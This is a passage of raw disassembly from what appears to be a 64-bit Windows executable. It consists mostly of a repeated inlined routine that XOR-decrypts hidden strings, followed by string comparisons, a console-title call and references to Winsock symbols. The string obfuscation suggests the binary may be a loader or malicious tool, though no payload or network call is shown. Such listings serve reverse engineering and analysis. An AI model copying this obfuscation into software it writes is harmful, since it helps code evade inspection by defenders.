packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140022ef0
jmp 0x140023029
lea r9, [rbp + 0x178]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140023000
lea rcx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rcx, qword [rbp + 0x640]
lea rdx, [rbp + 0x178]
call fcn.14005d85c
movups xmm0, xmmword [0x1400922d0]
movups xmmword [rbp + 0x58], xmm0
movsd xmm1, qword [str._56..d.4_N]
movsd qword [rbp + 0x68], xmm1
mov eax, dword [0x1400922e8]
mov dword [rbp + 0x70], eax
cmp byte [0x1400922eb], 0
je 0x140023210
mov r8d, esi
cmp edi, 2
jl 0x1400231c7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5c]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400230c0
cmp r8d, 0x1c
jge 0x140023210
movsxd rax, r8d
lea r9, [rbp + 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400231e0
lea rcx, [rbp + 0x4d8]
cmp qword [rbp + 0x4f0], 0x10
setae r11b
mov r10, qword [rbp + 0x4d8]
cmovae rcx, r10
lea rdx, [rbp + 0x58]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140023249
inc rcx
test al, al
jne 0x140023235
mov r15d, esi
jmp 0x140023250
sbb r15d, r15d
or r15d, 1
test r15d, r15d
sete byte [rsp + 0x60]
movups xmm0, xmmword [str.wQTRDQ__]
movups xmmword [rbp + 0x78], xmm0
movsd xmm1, qword [0x1400920c0]
movsd qword [rbp + 0x88], xmm1
mov eax, dword [0x1400920c8]
mov dword [rbp + 0x90], eax
cmp byte [0x1400920cb], 0
je 0x140023420
mov r8d, esi
cmp edi, 2
jl 0x1400233d7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400232d0
cmp r8d, 0x1c
jge 0x140023420
movsxd rax, r8d
lea r9, [rbp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400233f0
lea rax, [rbp + 0x4d8]
test r11b, r11b
cmovne rax, r10
lea r8, [rbp + 0x78]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023453
inc rax
test ecx, ecx
jne 0x140023440
test edx, edx
jne 0x1400234cb
movsd xmm0, qword [str.wQTRDQ___]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [0x140092388]
mov byte [rbp - 0x80], 0x44
xor byte [rbp - 0x7f], 0x34
xor byte [rbp - 0x7e], 0x35
xor byte [rbp - 0x7d], 0x36
xor byte [rbp - 0x7c], 0x37
xor byte [rbp - 0x7b], 0x38
xor byte [rbp - 0x7a], 0x39
xor byte [rbp - 0x79], 0x3a
xor al, 0x3b
mov byte [rbp - 0x78], al
lea rax, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rax, qword [rbp + 0x640]
lea r8, [rbp - 0x80]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400234c3
inc rax
test ecx, ecx
jne 0x1400234b0
test edx, edx
jne 0x1400234cb
mov al, 1
jmp 0x1400234cd
xor al, al
test ebx, ebx
je 0x1400245a0
test al, al
jne 0x1400245a0
mov rcx, qword [0x1409ffc00]
call fcn.14000c0a0
test al, al
jne 0x1400236fb
movups xmm0, xmmword [0x140091ee0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140091ef0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140091f00]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140091f10]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140091f20]
movups xmmword [rbp + 0xe0], xmm0
movzx eax, byte [0x140091f30]
mov byte [rbp + 0xf0], al
mov r8d, esi
cmp edi, 2
jl 0x140023697
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140023590
cmp r8d, 0x51
jge 0x1400236e0
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x1400236b0
lea rdx, [rbp + 0xa0]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
movups xmm0, xmmword [0x140092350]
movups xmmword [rbp + 0x30], xmm0
movzx eax, word [0x140092360]
mov word [rbp + 0x40], ax
movzx eax, byte [0x140092362]
mov byte [rbp + 0x42], al
mov r8d, esi
cmp edi, 2
jl 0x140023867
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023760
cmp r8d, 0x13
jge 0x1400238b0
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140023880
lea rax, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rax, qword [rbp + 0x640]
lea r8, [rbp + 0x30]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400238e3
inc rax
test ecx, ecx
jne 0x1400238d0
test edx, edx
jne 0x140023c84
movups xmm0, xmmword [0x140092368]
movups xmmword [rbp + 0x4c0], xmm0
mov eax, dword [0x140092378]
mov dword [rbp + 0x4d0], eax
movzx eax, byte [0x14009237c]
mov byte [rbp + 0x4d4], al
mov r8d, esi
cmp edi, 2
jl 0x140023a67
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x4c4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023960
cmp r8d, 0x15
jge 0x140023ab0
movsxd rax, r8d
lea r9, [rbp + 0x4c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140023a80
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.gTXK]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [0x140091fb8]
movups xmmword [rbp + 0x210], xmm1
movsd xmm0, qword [str._7xZh]
movsd qword [rbp + 0x220], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140023c34
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x204]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023b33
jmp 0x140023c69
lea r9, [rbp + 0x200]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140023c40
lea rdx, [rbp + 0x200]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
movups xmm0, xmmword [0x1400922a8]
movups xmmword [rbp + 0x228], xmm0
movups xmm1, xmmword [0x1400922b8]
movups xmmword [rbp + 0x238], xmm1
movsd xmm0, qword [0x1400922c8]
movsd qword [rbp + 0x248], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140023e01
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x22c]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023d00
jmp 0x140023e39
lea r9, [rbp + 0x228]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140023e10
lea rdx, [rbp + 0x228]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov eax, dword [str.CU_ER8]
mov dword [rsp + 0x74], eax
movzx eax, word [0x140091de0]
mov word [rsp + 0x78], ax
mov byte [rsp + 0x74], WSACleanup
xor byte [rsp + 0x75], 0x34
xor byte [rsp + 0x76], 0x35
xor byte [rsp + 0x77], 0x36
xor byte [rsp + 0x78], 0x37
xor byte [rsp + 0x79], 0x38
lea rcx, [rsp + 0x74]
call fcn.14002afc8
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 8
cmovae rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x360]
call fcn.14001a6b0
lea rcx, [rbp + 0x6e0]
mov ebx, 2
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023ed0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov r14d, dword [rbp + 0x6e8]
test r14d, r14d
jne 0x14002404b
mov rdx, qword [rbp + 0x510]
cmp rdx, 8
jb 0x140023f8e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023f89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255d0
call fcn.14005b964
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 7
mov word [rbp + 0x4f8], si
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0x10
jb 0x140023fe8
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255d6
call fcn.14005b964
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x4f0], send
mov byte [rbp + 0x4d8], 0
lea rcx, [rbp + 0x518]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4a0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
lea rcx, [rbp + 0x580]
call fcn.140008a30
nop
lea rcx, [rbp + 0x550]
call fcn.140005520
mov eax, 1
jmp 0x140021c24
lea rcx, [rbp + 0x5a0]
call fcn.140013420
lea rcx, [rbp + 0x640]
call fcn.1400088d0
mov rdx, rax
lea rcx, [rbp + 0x2a8]
call fcn.140003610
mov r8, rax
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x550]
call fcn.140007190
nop
mov r8, qword [rbp + 0x5a0]
cmp r8, qword [rbp + 0x5a8]
je 0x140024304
cmp byte [rsp + 0x7c], 0
jne 0x1400240ba
cmp dword [rsp + 0x6c], 0
je 0x1400240ba
cmp dword [rsp + 0x64], 0
je 0x1400240ba
mov ebx, esi
test r15d, r15d
setne bl
lea rcx, [rbp + 0x1b0]
call fcn.14001e0e0
mov dword [rsp + 0x20], ebx
movzx r9d, byte [rsp + 0x60]
mov edx, r14d
lea rcx, [rbp + 0x1b0]
call fcn.14001e590
test al, al
jne 0x14002432f
movups xmm0, xmmword [str.uUZR_]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140092120]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140092130]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140092140]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x140092150]
movups xmmword [rbp + 0x10], xmm0
mov eax, dword [0x140092160]
mov dword [rbp + 0x20], eax
cmp edi, 2
jl 0x140024272
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x140024170
cmp esi, 0x54
jge 0x1400242ad
movsxd rax, esi
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
